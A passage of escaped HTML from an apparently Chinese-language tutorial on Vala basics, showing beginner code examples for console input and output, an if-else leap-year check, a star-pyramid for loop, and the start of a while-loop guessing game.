不是取地址符\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%lf\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 类似 C 语言的 printf\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%.3f\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eb\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e输入字符串:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Welcome, what\u0026#39;s your name?\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eread_line\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;OK, %s, main course is prepared for you.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"判断语句\"\u003e判断语句\u003c/h2\u003e\n\u003cp\u003eif-else 判断:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Enter a year: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e100\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eyear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e%\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e400\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Maybe Olympics if no war.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;No Olympics.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eswtich 判断:\u003c/p\u003e\n\u003cp\u003e省略,很少用到。\u003c/p\u003e\n\u003ch2 id=\"循环语句\"\u003e循环语句\u003c/h2\u003e\n\u003cp\u003e计次数循环 for\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 金字塔输出\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003escanf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;*\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e计事件循环 while\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-vala\" data-lang=\"vala\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Vala 引用库的方式\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kn\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eRandom\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 这里我用了随机数类\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etoGuess\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRandom\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eint_range\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e50\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Enter a number: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan 